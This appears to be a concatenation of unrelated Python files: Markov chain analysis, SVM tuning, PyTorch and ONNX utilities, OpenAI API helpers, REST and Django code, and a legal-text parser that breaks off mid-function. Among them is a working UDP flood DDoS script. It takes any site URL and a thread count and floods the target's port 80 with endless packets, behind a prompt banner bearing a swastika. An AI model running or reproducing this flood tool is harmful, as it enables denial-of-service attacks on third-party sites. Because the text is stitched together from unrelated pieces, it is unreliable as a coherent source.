import networkx as nx
import numpy as np
from fractions import gcd
EPS = 0.0001  # used to check for stochasticity

def _compute_P_matrix(m):
    m._P_matrix_computed = True

    # compute dictionaries
    m.I_to_S = { i:s for i,s in enumerate(m.states) }
    m.S_to_I = { s:i for i,s in enumerate(m.states) }

    # the transition matrix
    m.P = np.array(nx.adjacency_matrix(m).todense())

    # check to see if it is stochastic
    ones = np.ones([m.number_of_states(), 1])
    deviation = np.linalg.norm(ones - m.P @ ones)
    assert deviation < EPS, \
        "Transition matrix is not stochastic. " + \
        "Deviation = "+str(deviation)+"\n "+str(m.P)

def _compute_period(m, state, class_of_state):
    levels = {state: 0}
    this_level = [state]
    G = m
    g = 0
    l = 1
    while this_level:
        next_level = []
        for u in this_level:
            for v in [ v for v in G[u] if v in class_of_state ]:
                if v in levels:  # Non-Tree Edge
                    g = gcd(g, levels[u] - levels[v] + 1)
                else:  # Tree Edge
                    next_level.append(v)
                    levels[v] = l
        this_level = next_level
        l += 1
    # period 0 is period 1
    if g == 0:
        g = 1
    return(g)

def _normalize(l):
    return(l/sum(l))

def _compute_classes(m):

    # to check that it is a valid chain
    if not m._P_matrix_computed:
        _compute_P_matrix(m)

    m._classes_computed = True

    # classes
    components = nx.strongly_connected_components(m)
    condensation_edges = nx.condensation(m).edges
    m.classes = [ [s for s in component] for component in components]
    m.number_of_classes = len(m.classes)
    assert m.number_of_classes > 0, \
        "Zero classes - something wrong"
    m.is_irreducible = m.number_of_classes == 1

    # recurrent and transient class component_indices
    m.transient_class_indices = \
            sorted(np.unique(
                [comp1 for (comp1, comp2) in condensation_edges ]))
    m.number_of_transient_classes = len(m.transient_class_indices)
    m.number_of_recurrent_classes = \
            m.number_of_classes - m.number_of_transient_classes
    m.no_transient = m.number_of_transient_classes == 0

    m.number_of_transient_states = 0
    m.number_of_recurrent_states = 0
    for c in range(m.number_of_classes):
        if c in m.transient_class_indices:
            for s in m.classes[c]:
                m.states[s]["type"] = "T"
                m.states[s]["class"] = c
                m.number_of_transient_states += 1
        else:
            for s in m.classes[c]:
                m.states[s]["type"] = "R"
                m.states[s]["class"] =c
                m.number_of_recurrent_states += 1

    transient_index = 0
    recurrent_index = 0
    for j,s in enumerate(m.states):
        m.states[s]["index"] = j
        if m.is_transient(s):
            m.states[s]["transient_index"] = transient_index
            transient_index += 1
        else:
            m.states[s]["recurrent_index"] = recurrent_index
            recurrent_index += 1

    m.transient_states = \
        [ s for s in m.states if m.is_transient(s) ]

    m.transient_state_indices = \
        [ m.S_to_I[s] for s in m.states if m.is_transient(s) ]

    m.recurrent_states = \
        [ s for s in m.states if m.is_recurrent(s) ]

    m.recurrent_state_indices = \
        [ m.S_to_I[s] for s in m.states if m.is_recurrent(s) ]

    m.transient_classes = [m.classes[i] for i in m.transient_class_indices]
    m.recurrent_classes = [m.classes[i] for i in range(m.number_of_classes)\
            if i not in m.transient_class_indices]

    # computing stationary distributions
    for aclass in m.recurrent_classes:
        class_indices = [m.S_to_I[s] for s in aclass]
        PC = m.P[class_indices][:,class_indices]
        I = np.identity(PC.shape[0])
        u,s,vh  = np.linalg.svd(PC-I)
        pi = list(_normalize(np.transpose(u)[-1]))
        for i,s in enumerate(aclass):
            m.states[s]["stationary"] = pi[i]

    m.T_to_S = \
            { i:m.I_to_S[m.transient_state_indices[i]] for
                    i in range(m.number_of_transient_states)}
    m.C_to_S = \
            { i:m.I_to_S[m.recurrent_state_indices[i]] for
                    i in range(m.number_of_recurrent_states)}
    m.S_to_T = \
            { v:k for k,v in m.T_to_S.items()}

    m.S_to_C = \
            { v:k for k,v in m.C_to_S.items()}

    # computing periods of states

    m.is_aperiodic = True
    for aclass in m.classes:
        s = aclass[0]
        per = _compute_period(m,s,aclass)
        if per > 1:
            m.is_aperiodic = False
        for state in aclass:
            m.states[state]["period"] = per

def _compute_QRF_matrices(m):
    assert m._classes_computed, \
            "Compute first."
    assert not m.no_transient, \
            "Cannot compute QRF for a recurrent chain."

    m._QRF_matrix_computed = True

    # canonical decomposition of P
    # Q-matrix
    m.Q = m.P[m.transient_state_indices][:, m.transient_state_indices]

    # R-matrix
    m.R = m.P[m.transient_state_indices][:, m.recurrent_state_indices]

    # F-matrix
    I = np.identity(m.Q.shape[0])
    m.F = np.linalg.inv(I-m.Q)

def _recurrent_chains(m):
    n = m.number_of_classes;
    recurrent_classes = [ m.classes[i] for i in range(m.number_of_classes)\
            if i not in m.transient_class_indices ]
    subgraphs = []
    for i,aclass in enumerate(recurrent_classes):
        mc = m.subgraph(aclass).copy()
        mc.title = "Recurrent_class_C"+str(i+1)
        mc.compute()
        subgraphs.append(mc)
    return(subgraphs)

def _stationary_of_class(m, sz):
    assert m._classes_computed, "Compute Classes First"
    d = {}
    for s in m.states():
        if m.states[s]["class"]==m.states[sz]["class"]:
            d[s] = m.states[s]["stationary"]
    return(d)


# -*- coding: utf-8 -*-
__author__ = 'Kay'

import numpy as np
from sklearn.svm import SVC
from sklearn.svm.libsvm import cross_validation
from sklearn.datasets import load_svmlight_file
from sklearn.externals import joblib
from sklearn.metrics import accuracy_score, f1_score

'''
SVM K-means 交叉验证结果：
32768.0 0.00048828125 58.1152
0.03125 0.0078125 62.8272
8.0 0.5 57.0681
8.0 0.5 63.3508
8.0 8.0 67.0157

2015-10-28

调参结果：

三分类：
0 32768.0 0.00048828125 58.1152
1 0.03125 0.0078125 67.0157 pity
2 0.03125 0.0078125 52.356 pity
3 512.0 0.03125 61.2565
4 8.0 2.0 68.0628

二分类：
0 2048.0 0.00048828125 61.2565
1 32.0 0.5 65.9686

2015-11-13

调参结果

    param = '-t 2 -c 32768.0 -g 0.00048828125' # 3-close √
    param = '-t 2 -c 512.0 -g 0.0078125' # 3-open √
    param = '-t 2 -c 2048.0 -g 0.00048828125' # 3-high √
    param = '-t 2 -c 8.0 -g 0.5' # 3-low √
    param = '-t 2 -c 8.0 -g 8.0' # 3-volume √

    param = '-t 2 -c 2048.0 -g 0.00048828125' # 2-close
    param = '-t 2 -c 32.0 -g 0.5' # 2-open

'''

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL0.txt')
# clf = SVC(C=32768.0, gamma=0.00048828125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL1.txt')
# clf = SVC(C=512.0, gamma=0.0078125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL2.txt')
# clf = SVC(C=2048, gamma=0.00048828125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL3.txt')
# clf = SVC(C=8.0, gamma=0.5, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL4.txt')
# clf = SVC(C=8 , gamma=8, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class2_GOAL0.txt')
# clf = SVC(C=2048, gamma=0.00048828125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class2_GOAL1.txt')
# clf = SVC(C=32, gamma=0.5, probability=True)

# EMOTION-SELECTED

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL0.txt')
# clf = SVC(C=32768.0, gamma=2, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL1.txt')
# clf = SVC(C=2, gamma=8, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL2.txt')
# clf = SVC(C=512, gamma=0.0078125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL3.txt')
# clf = SVC(C=8.0, gamma=2, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL4_sadness_fear.txt')
# clf = SVC(C=8 , gamma=8, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class2_GOAL0.txt')
# clf = SVC(C=128, gamma=0.5, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class2_GOAL1.txt')
# clf = SVC(C=8, gamma=2, probability=True)

if __name__ == '__main__':
    # 五分类
    # params = [
    #     {'C': 2.0, 'gamma': 0.25},
    #     {'C': 2.0, 'gamma': 0.125},
    #     {'C': 4.0, 'gamma': 0.25},
    #     {'C': 16, 'gamma': 0.125},
    #     {'C': 2.0, 'gamma': 2.0},
    # ]

    # 七分类
    # params = [
    #     {'C': 2, 'gamma': 1.0},
    #     {'C': 8, 'gamma': 0.3125},
    #     {'C': 2, 'gamma': 2},
    #     {'C': 0.625, 'gamma': 32},
    #     {'C': 2.0, 'gamma': 0.5},
    # ]

    # User 0 - 三分类
    params = [
        {'C': 4, 'gamma': 1},
        {'C': 1, 'gamma': 1},
        {'C': 2, 'gamma': 0.5},
        {'C': 2, 'gamma': 0.5},
        {'C': 1, 'gamma': 0.5},
    ]

    # User 1 - 三分类
    # params = [
    #     {'C': 4, 'gamma': 1},
    #     {'C': 2, 'gamma': 1},
    #     {'C': 2, 'gamma': 0.5},
    #     {'C': 2, 'gamma': 0.5},
    #     {'C': 1, 'gamma': 1},
    # ]

    # User 2 - 三分类
    # params = [
    #     {'C': 1, 'gamma': 1},
    #     {'C': 0.0009765625, 'gamma': 0.0009765625},
    #     {'C': 0.5, 'gamma': 16},
    #     {'C': 0.0009765625, 'gamma': 0.0009765625},
    #     {'C': 1, 'gamma': 1},
    # ]

    # 读取数据
    train_data = np.loadtxt('../data/proportion/训练数据/20141201-20150916_比例_三分类_true.txt')
    test_data = np.loadtxt('../data/proportion/测试数据/20150917-20151207_比例_三分类_true.txt')

    # train_data = np.loadtxt('../data/proportion/训练数据/user_0_true.csv')
    # test_data = np.loadtxt('../data/proportion/测试数据/user_0_true.csv')

    # raw_data = np.loadtxt('../data/proportion/20141201-20150916_比例_五分类_true.txt')
    # raw_data = np.loadtxt('../data/proportion/20141201-20150916_比例_七分类_true.txt')
    # raw_data = np.loadtxt('../data/proportion/classify/kmeans_3_class.txt')

    X_train = train_data[:, 5:]
    X_test = test_data[:, 5:]

    for i in range(5):
        print('-' * 20, i, '-' * 20)
        p = params[i]
        y_train = train_data[:, i]
        y_test = test_data[:, i]

        clf = SVC(C=p['C'], gamma=p['gamma'])
        clf.fit(X_train, y_train)
        y_hat = clf.predict(X_train)
        print('train >>>')
        print('预测结果:', y_hat)
        print('实际结果:', y_train)
        print('准确率: %.2f' % clf.score(X_train, y_train))
        print('f1-score: %.2f' % f1_score(y_train, y_hat, average='macro'))
        # joblib.dump(clf, '../model/20170410/user_0_{}.mod'.format(i))

        # clf = joblib.load('../model/20170410/user_0_{}.mod'.format(i))
        print('test >>>')
        print('预测结果:', clf.predict(X_test))
        print('实际结果:', y_test)
        print('准确率:', clf.score(X_test, y_test))
        print()


from contextlib import contextmanager
import torch
import torch.nn as nn

@contextmanager
def init_empty_weights(include_buffers: bool=False):
    """Meta initialization context manager.

    A context manager under which models are initialized with all parameters
    on the meta device, therefore creating an empty model. Useful when just
    initializing the model would blow the available RAM.

    Args:
        include_buffers (`bool`, *optional*, defaults to `False`): Whether or
            not to also put all buffers on the meta device while initializing.

    Example:
    ```python
    import torch.nn as nn

    # Initialize a model with 100 billions parameters in no time and without using any RAM.
    with init_empty_weights():
        tst = nn.Sequential(*[nn.Linear(10000, 10000) for _ in range(1000)])
    ```

    <Tip warning={true}>

    Any model created under this context manager has no weights. As such you can't do something like
    `model.to(some_device)` with it. To load weights inside your empty model, see [`load_checkpoint_and_dispatch`].

    </Tip>
    """
    with init_on_device(torch.device('meta'), include_buffers=include_buffers) as f:
        yield f

@contextmanager
def init_on_device(device: torch.device, include_buffers: bool=False):
    """Device initialization context manager.

    A context manager under which models are initialized with all parameters
    on the specified device.

    Args:
        device (`torch.device`): Device to initialize all parameters on.
        include_buffers (`bool`, *optional*, defaults to `False`): Whether or
            not to also put all buffers on the meta device while initializing.

    Example:
    ```python
    import torch.nn as nn

    with init_on_device(device=torch.device("cuda")):
        tst = nn.Liner(100, 100)  # on `cuda` device
    ```
    """
    old_register_parameter = nn.Module.register_parameter
    if include_buffers:
        old_register_buffer = nn.Module.register_buffer

    def register_empty_parameter(module, name, param):
        old_register_parameter(module, name, param)
        if param is not None:
            param_cls = type(module._parameters[name])
            kwargs = module._parameters[name].__dict__
            module._parameters[name] = param_cls(module._parameters[name].to(device), **kwargs)

    def register_empty_buffer(module, name, buffer):
        old_register_buffer(module, name, buffer)
        if buffer is not None:
            module._buffers[name] = module._buffers[name].to(device)
    if include_buffers:
        tensor_constructors_to_patch = {torch_function_name: getattr(torch, torch_function_name) for torch_function_name in ['empty', 'zeros', 'ones', 'full']}
    else:
        tensor_constructors_to_patch = {}

    def patch_tensor_constructor(fn):

        def wrapper(*args, **kwargs):
            kwargs['device'] = device
            return fn(*args, **kwargs)
        return wrapper
    try:
        nn.Module.register_parameter = register_empty_parameter
        if include_buffers:
            nn.Module.register_buffer = register_empty_buffer
        for torch_function_name in tensor_constructors_to_patch.keys():
            setattr(torch, torch_function_name, patch_tensor_constructor(getattr(torch, torch_function_name)))
        yield
    finally:
        nn.Module.register_parameter = old_register_parameter
        if include_buffers:
            nn.Module.register_buffer = old_register_buffer
        for (torch_function_name, old_torch_function) in tensor_constructors_to_patch.items():
            setattr(torch, torch_function_name, old_torch_function)


import time
import socket
import sys
import _thread
from colorama import Fore
from modules import main
main.banner()
main.ddos_main()
main_ = input(Fore.RED+" ┌─["+Fore.LIGHTGREEN_EX+"irnofoz"+Fore.BLUE+"~"+Fore.WHITE+"@HOME"+Fore.RED+"/"+Fore.CYAN+"DDOS"+Fore.RED+"/"+Fore.LIGHTYELLOW_EX+"Start"+Fore.RED+"/"+Fore.GREEN+"....."+Fore.RED+"""]
 └──╼ 卐 """).lower()
if main_ == "1":
    site = input("site url => ")
    thread_count = input("te dad hamle ha => ")

    ip = socket.gethostbyname(site)

    UDP_PORT = 80
    MESSAGE = "Miltone"
    print("IP:", ip)
    print("port:", UDP_PORT)
    time.sleep(3)

    def ddos(i):
        while 1:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.sendto(bytes(MESSAGE,"UTF-8"), (ip, UDP_PORT))
            print(Fore.GREEN + "Poket ersal shod\n")

    for i in range(int(thread_count)):
        try:
            _thread.start_new_thread(ddos, ("Thread-" + str(i),))
        except KeyboardInterrupt:
            sys.exit(0)

    while 1:
        pass


from multiprocessing import Lock

class Counter:
    __instance = None
    __count = None
    __lock = None

    def __init__(self):
        """ Virtually private constructor. """
        if Counter.__instance is not None:
            raise Exception("This class is a singleton!")
        else:
            Counter.__instance = self
            self.__count = 0
            self.__lock = Lock()

    @staticmethod
    def get_instance():
        """ Static access method. """
        if Counter.__instance is None:
            Counter()
        return Counter.__instance

    def count(self):
        self.__lock.acquire()
        self.__count += 1
        self.__lock.release()

    def get_count(self):
        self.__lock.acquire()
        count = self.__count
        self.__lock.release()
        return count

    def reset_count(self):
        self.__lock.acquire()
        self.__count = 0
        self.__lock.release()


import numpy as np
import scipy.sparse as ss
from scipy.sparse import linalg

def airPLS(spectral_map: np.ndarray, lambda_: int) -> None:
    """
    A function to perform airPLS algorithm on the whole spectral map in the auto processing module.
    """

    backgrounds = np.apply_along_axis(airPLS_spectrum, 2, spectral_map, lambda_)
    spectral_map -= backgrounds
    return spectral_map

def airPLS_spectrum(
    x: np.ndarray, lambda_: int = 10**4, porder: int = 1, itermax: int = 20
) -> np.ndarray:
    """
    Adaptive iteratively reweighted penalized least squares for baseline fitting.

    Parameters:
        x (np.ndarray): Input data (i.e. chromatogram of spectrum).
        lambda_ (int): Parameter that can be adjusted by user. The larger lambda is,  the smoother the resulting background. Default: 10**4.4.
        porder (int): Adaptive iteratively reweighted penalized least squares for baseline fitting. Default: 1.
        itermax (int): Maximum iterations. Default: 20.

    Returns:
        result (np.ndarray): The fitted background vector.
    """

    m = x.shape[0]
    w = np.ones(m)
    for i in range(1, itermax + 1):
        z = whittaker_smooth(x, w, lambda_, porder)
        d = x - z
        dssn = np.abs(d[d < 0].sum())

        if dssn < 0.001 * (abs(x)).sum() or i == itermax:
            break

        # d>0 means that this point is part of a peak, so its weight is set to 0 in order to ignore it
        w[d >= 0] = 0
        w[d < 0] = np.exp(i * np.abs(d[d < 0]) / dssn)
        w[0] = np.exp(i * (d[d < 0]).max() / dssn)
        w[-1] = w[0]

    return z

# NOTE: adjusted not to use `np.matrix`
def whittaker_smooth(
    x: np.ndarray, w: np.ndarray, lambda_: int, differences: int = 1
) -> np.ndarray:
    """ "
    Penalized least squares algorithm for background fitting.

    Parameters:
        x (np.ndarray): Input data (i.e. chromatogram of spectrum).
        w (np.ndarray): Binary masks (value of the mask is zero if a point belongs to peaks and one otherwise).
        lambda_ (int): Parameter that can be adjusted by user. The larger lambda is,  the smoother the resulting background.
        differences (int): Integer indicating the order of the difference of penalties.

    Returns:
        result (np.ndarray): The fitted background vector.
    """

    X = x.reshape((1, -1))
    m = X.size
    E = ss.eye(m, format="csc")

    for _ in range(differences):
        E = E[1:] - E[:-1]

    W = ss.diags(w, 0, shape=(m, m))
    A = ss.csc_matrix(W + (lambda_ * E.T * E))
    B = ss.csc_matrix(W * X.T)

    background = linalg.spsolve(A, B)
    return np.array(background)


import inspect
import logging
from opaw.util import log
import time
import copy
import json
import os
from os.path import join
from datetime import datetime
import openai
import traceback

default_models = {
    "chat": "gpt-3.5-turbo",
    "completion": "text-davinci-003",
    "image": "DALL-E",
    "audio": "whisper-1",
    "embedding": "text-embedding-ada-002",
    "file": "",
    "finetune": "curie",
    "moderation": "text-moderation-latest",
    "edit": "text-davinci-edit-001"
}

def setup(api_key_file="openai-api-key.txt"):
    logger = log.get("opaw")
    # remove logger file handler
    logger.handlers = [h for h in logger.handlers if not isinstance(h, logging.FileHandler)]

    key = None
    try:
        with open(api_key_file) as file:
            key = file.read()
    except FileNotFoundError:
        logger.warning(f"No file: {api_key_file} for openai api key.")
        logger.warning("Searching environment variable: \"OPENAI_API_KEY\"...")

        # env var
        key = os.environ.get("OPENAI_API_KEY")
        if key is None:
            logger.warning("There's no environment variable: \"OPENAI_API_KEY\".")
    finally:
        if key is None:
            logger.warning("Failed to find openai api key.")
            logger.warning(f"Create a \"{api_key_file}\" file or set environment variable: \"OPENAI_API_KEY\".")
        else:
            try:
                openai.api_key = key
                logger.info("OpenAI API key is setup!")
                openai.Model.list()  # test for the api_key is valid or not
            except Exception as e:
                traceback.print_exc()
                time.sleep(0.1)
                logger.warning("Your API key has a problem. Check here: "
                               "https://platform.openai.com/docs/guides/error-codes/api-errors")

def models():
    r = openai.Model.list()
    return [model["id"] for model in r["data"]]

def mkdirs(file):
    if not os.path.exists(file):
        parent_dir = os.path.dirname(file)
        mkdirs(parent_dir)
        os.makedirs(file, exist_ok=True)

def filter_args(data):
    """
    remove special arguments
    :param data: history or messages (format: [{}, {}, {}...])
    """
    common_args = ["type", "created", "from"]
    etc_args = ["task", "memo"]
    remove_args = common_args + etc_args

    data = copy.deepcopy(data)
    return [{k: v for k, v in e.items() if k not in remove_args} for e in data]

def pprint(d):
    """
    Pretty print
    """
    print(pprints(d))

def pprints(d):
    """
    Pretty print string
    """
    return json.dumps(d, indent="\t")

def func_meta(name, desc, properties, required):
    """
    Gets function call format with given args

    :param name: function name
    :param desc: function description
    :param properties: [[<name>, <type>, <desc>], [...]...]
    :param required: the required args (str list)
    :return:
    """
    function = {
        "name": name,
        "description": desc,
        "parameters": {
            "type": "object",
            "properties": {},
            "required": required,
        },
    }

    # add properties
    props = function["parameters"]["properties"]

    if not isinstance(properties[0], list):  # wrap with list if not nested list
        properties = [properties]

    for prop in properties:
        props[prop[0]] = {"type": prop[1], "description": prop[2]}

    return function

def func_args(func):
    """
    Gets function arguments
    :param func: function
    :return: list of arguments
    """
    signature = inspect.signature(func)
    return list(signature.parameters.keys())

def pop_func_args(func, dic):
    """
    extract(pop) function arguments from kargs
    """
    args = func_args(func)
    return {k: dic.pop(k) for k in args if k in dic}

# main
if __name__ == '__main__':
    print('go')
    mkdirs("a/b/c.txt")


#batchnormalisation

import onnx
from onnx import helper
from onnx import numpy_helper
from onnx import AttributeProto, TensorProto, GraphProto
import numpy as np
from Compare_output import compare

# Create the inputs (ValueInfoProto)
X = helper.make_tensor_value_info('X', TensorProto.FLOAT, [1, 2, 1, 3])
S = helper.make_tensor_value_info('S', TensorProto.FLOAT, [2,])
BIAS = helper.make_tensor_value_info('BIAS', TensorProto.FLOAT, [2,])
MEAN = helper.make_tensor_value_info('MEAN', TensorProto.FLOAT, [2,])
VAR = helper.make_tensor_value_info('VAR', TensorProto.FLOAT, [2,])

# Create one output (ValueInfoProto)
Y = helper.make_tensor_value_info('Y', TensorProto.FLOAT, [1, 2, 1, 3])

# Create a node (NodeProto)
node_def = helper.make_node(
    'BatchNormalization',
    inputs=['X', 'S', 'BIAS', 'MEAN', 'VAR'],
    outputs=['Y'],
)

# Create the graph (GraphProto)
graph_def = helper.make_graph(
    [node_def],
    'test-model',
    [X, S, BIAS, MEAN, VAR],
    [Y],
)

# Create the model (ModelProto)
model_def = helper.make_model(graph_def, producer_name='onnx-batchnormalization1')
print('The model is:\n{}'.format(model_def))
onnx.checker.check_model(model_def)
print('The model is checked!')

# Save the ONNX model
import os
path = os.getcwd()
new_model_path = os.path.join(path, '../onnx_generated_models/batchnormalization1.onnx')
onnx.save(model_def, new_model_path)
print('The model is saved.')

# Preprocessing: load the ONNX model (Loading an already exisisting model)
model_path1 = os.path.join(path, '../onnx_generated_models/batchnormalization1.onnx')
onnx_model1 = onnx.load(model_path1)
print('The model is:\n{}'.format(onnx_model1))

def _batchnorm_test_mode(x, s, bias, mean, var, epsilon=1e-5):  # type: ignore
    dims_x = len(x.shape)
    dim_ones = (1,) * (dims_x - 2)
    s = s.reshape(-1, *dim_ones)
    bias = bias.reshape(-1, *dim_ones)
    mean = mean.reshape(-1, *dim_ones)
    var = var.reshape(-1, *dim_ones)
    return s * (x - mean) / np.sqrt(var + epsilon) + bias

# input size: (1, 2, 1, 3)
x = np.array([[[[-1, 0, 1]], [[2, 3, 4]]]]).astype(np.float32)
s = np.array([1.0, 1.5]).astype(np.float32)
bias = np.array([0, 1]).astype(np.float32)
mean = np.array([0, 3]).astype(np.float32)
var = np.array([1, 1.5]).astype(np.float32)
y_actual = _batchnorm_test_mode(x, s, bias, mean, var).astype(np.float32)

#Running the model using ONNX Runtime
import onnxruntime as rt
import numpy
sess = rt.InferenceSession("../onnx_generated_models/batchnormalization1.onnx")
input_name = sess.get_inputs()[0].name
input_name1 = sess.get_inputs()[1].name
input_name2 = sess.get_inputs()[2].name
input_name3 = sess.get_inputs()[3].name
input_name4 = sess.get_inputs()[4].name
label_name = sess.get_outputs()[0].name

y_pred = sess.run(
        [label_name], {input_name: x.astype(numpy.float32),
        input_name1: s.astype(numpy.float32), input_name2: bias.astype(numpy.float32),
        input_name3: mean.astype(numpy.float32), input_name4: var.astype(numpy.float32)})

print("The predicted output for the operation: BatchNormalization")
print(y_pred)

y_pred = np.asarray(y_pred) #converting list into an array
print(y_pred.shape)

y_pred = np.squeeze(y_pred, axis=0)
print(y_pred.shape)

compare(y_actual, y_pred)


import unittest
import string
import random
import requests

from base_test import BaseTest

class TestEstabelecimentos(BaseTest):
    #
    # setUp e tearDown
    #

    @classmethod
    def setUpClass(self):
        self._url = self.url + '/estabelecimentos/'

    def setUp(self):
        self.ids_estabelecimentos_criados = []

    def tearDown(self):
        for id in self.ids_estabelecimentos_criados:
            self._delete_estabelecimentos(id)

    #
    # testes
    #
    def test_cria_estabelecimento(self):
        # arrange
        data = self._test_data()

        # act
        r = self._post_estabelecimentos(data)
        r_json = r.json()

        # assert
        assert r.ok
        assert r.status_code == 200

        assert len(r_json) == 2
        assert r_json['id'] > 0
        assert r_json['mensagem'] == 'Estabelecimento criado com sucesso.'

    def test_atualiza_estabelecimento(self):
        # arrange
        data = self._test_data()
        id_estabelecimento = self._post_estabelecimentos(data).json()['id']

        put_data = self._test_data()

        # act
        r = requests.put(self._url + str(id_estabelecimento), json=put_data)
        r_json = r.json()

        # assert
        assert r.ok
        assert r.status_code == 200

        assert len(r_json) == 3
        assert r_json['id'] > 0
        assert r_json['cnpj'] == put_data['cnpj']
        assert r_json['nome'] == put_data['nome']

    def test_deleta_estabelecimento(self):
        # arrange
        data = self._test_data()
        id_estabelecimento = self._post_estabelecimentos(data).json()['id']

        # act
        r = requests.delete(self._url + str(id_estabelecimento))
        r_json = r.json()

        # assert
        assert r.ok
        assert r.status_code == 200

        assert len(r_json) == 1
        assert r_json['mensagem'] == 'Estabelecimento deletado com sucesso.'

    def test_busca_estabelecimento_por_id(self):
        # arrange
        data = self._test_data()
        id_estabelecimento = self._post_estabelecimentos(data).json()['id']

        # act
        r = requests.get(self._url + str(id_estabelecimento))
        r_json = r.json()

        # assert
        assert r.ok
        assert r.status_code == 200

        assert len(r_json) == 3
        assert r_json['id'] > 0
        assert r_json['cnpj'] == data['cnpj']
        assert r_json['nome'] == data['nome']

    def test_busca_todos_estabelecimentos(self):
        # arrange
        data_1 = self._test_data()
        id_estabelecimento_1 = self._post_estabelecimentos(data_1).json()['id']
        data_2 = self._test_data()
        id_estabelecimento_2 = self._post_estabelecimentos(data_2).json()['id']

        # act
        r = requests.get(self._url)
        r_json = r.json()

        estabelecimento_1 = self._busca_estabelecimento_na_lista(r_json, id_estabelecimento_1)
        estabelecimento_2 = self._busca_estabelecimento_na_lista(r_json, id_estabelecimento_2)

        # assert
        assert r.ok
        assert r.status_code == 200

        assert len(estabelecimento_1) == 3
        assert estabelecimento_1['id'] > 0
        assert estabelecimento_1['cnpj'] == data_1['cnpj']
        assert estabelecimento_1['nome'] == data_1['nome']

        assert len(estabelecimento_2) == 3
        assert estabelecimento_2['id'] > 0
        assert estabelecimento_2['cnpj'] == data_2['cnpj']
        assert estabelecimento_2['nome'] == data_2['nome']

    #
    # metodos de suporte
    #

    def _test_data(self):
        return {
            'nome': ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(64)),
            'cnpj': ''.join(random.choice(string.digits) for _ in range(14))
        }

    def _post_estabelecimentos(self, data):
        response = requests.post(self._url , json=data)
        self.ids_estabelecimentos_criados.append(response.json()['id'])
        return response

    def _delete_estabelecimentos(self, id):
        requests.delete(self._url + str(id))

    def _busca_estabelecimento_na_lista(self, lista, id):
        result = None
        for estabelecimento in lista:
            if estabelecimento['id'] == id:
                result = estabelecimento
        return result


import os
from django.urls import path, re_path, include
from django.conf import settings
from django.conf.urls.static import static
from django.views.generic.base import RedirectView
from . import views

urlpatterns = [
    path('', views.recent_posts, name='index'),
    re_path(r'^favicon\.ico$', RedirectView.as_view(url='')),
    path('accounts/', include('django.contrib.auth.urls')),
    path('accounts/create/', views.account_create, name='account-create'),
    path('accounts/<int:pk>/update/', views.account_update, name='account-update'),
    path('accounts/<int:pk>/delete/', views.account_delete, name='account-delete'),
    path('bloggers/', views.BloggerListView.as_view(), name='bloggers-list'),
    path('bloggers/create/', views.BloggerCreate.as_view(), name='blogger-create'),
    path('bloggers/<int:pk>/', views.BloggerDetailView.as_view(), name='blogger-detail'),
    path('bloggers/<int:pk>/delete/', views.BloggerDelete.as_view(), name='blogger-delete'),
    path('blogs/', views.BlogPostListView.as_view(), name='blog-posts-list'),
    path('blogs/create/', views.BlogPostCreate.as_view(), name='blog-post-create'),
    path('blogs/search/<str:category>/', views.blog_posts_of_given_category, name='category-blog-posts'),
    path('blogs/<int:pk>/', views.BlogPostDetailView.as_view(), name='blog-post-detail'),
    path('blogs/<int:pk>/delete/', views.BlogPostDelete.as_view(), name='blog-post-delete'),
    path('blogs/<int:pk>/<int:user_id>/comments/create/', views.CommentCreate.as_view(), name='comment-create'),
    path('blogs/<int:pk>/<int:user_id>/<int:comment_id>/answers/create/', views.AnswerCreate.as_view(), name='answer-create'),
    path('search/', views.search, name='search-results'),
    path('contact/', views.contact_view, name='message-send')
] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)


import re

from utils import JSONFile

from lk_acts._utils import get_file_name, log
from lk_acts.json_textlines2json._intro import extract_intro_data
from lk_acts.json_textlines2json._parts import extract_parts
from lk_acts.json_textlines2json._schedules import extract_schedules

REGEX_PART = r'PART (?P<part_num>[IVX]+)'
REGEX_SECTION = r'(?P<section_num>\d+)\.'
REGEX_SUBSECTION = r'\((?P<subsection_num>\d+)\).*'
REGEX_PARAGRAPH = r'\((?P<paragraph_num>[a-z])\).*'
REGEX_SUB_PARAGRAPH = r'\((?P<sub_paragraph_num>[ivx]+)\).*'
REGEX_SCHEDULE = r'SCHEDULE (?P<schedule_num>[IVX]+)'

def cmp_textlines(textline):
    return textline['i_page'] * 1_000_000 - (int)(textline['bbox']['y2'])

def add_metadata(textlines_original):
    textlines = sorted(textlines_original, key=cmp_textlines)

    schedule_num = None
    part_num = None
    section_num = None
    subsection_num = None
    paragraph_num = None
    sub_paragraph_num = None
    textlines_with_metadata = []
    prev_paragraph_num = None
    for textline in textlines:
        stripped_text = textline['text'].strip()

        result = re.match(REGEX_PART, stripped_text)
        if result:
            part_num = result.groupdict()['part_num']
            section_num = None
            subsection_num = None
            paragraph_num = None
            sub_paragraph_num = None

        result = re.match(REGEX_SCHEDULE, stripped_text)
        if result:
            schedule_num = result.groupdict()['schedule_num']
            section_num = None
            subsection_num = None
            paragraph_num = None
            sub_paragraph_num = None

        result = re.match(REGEX_SECTION, stripped_text)
        if result:
            section_num = (int)(result.groupdict()['section_num'])
            subsection_num = None
            paragraph_num = None
            sub_paragraph_num = None

        if textline['class_name'] == 'normal':
            result = re.match(REGEX_SUBSECTION, stripped_text)
            if result:
                subsection_num = (int)(result.groupdict()['subsection_num'])
                paragraph_num = None
                sub_paragraph_num = None
            else:
